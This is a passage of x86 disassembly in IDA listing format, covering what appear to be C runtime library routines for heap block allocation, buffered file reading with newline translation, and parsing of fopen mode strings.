		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2670BC8h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 26A0E98h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_41FB25
		nop
		call	near ptr 26A0E98h
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



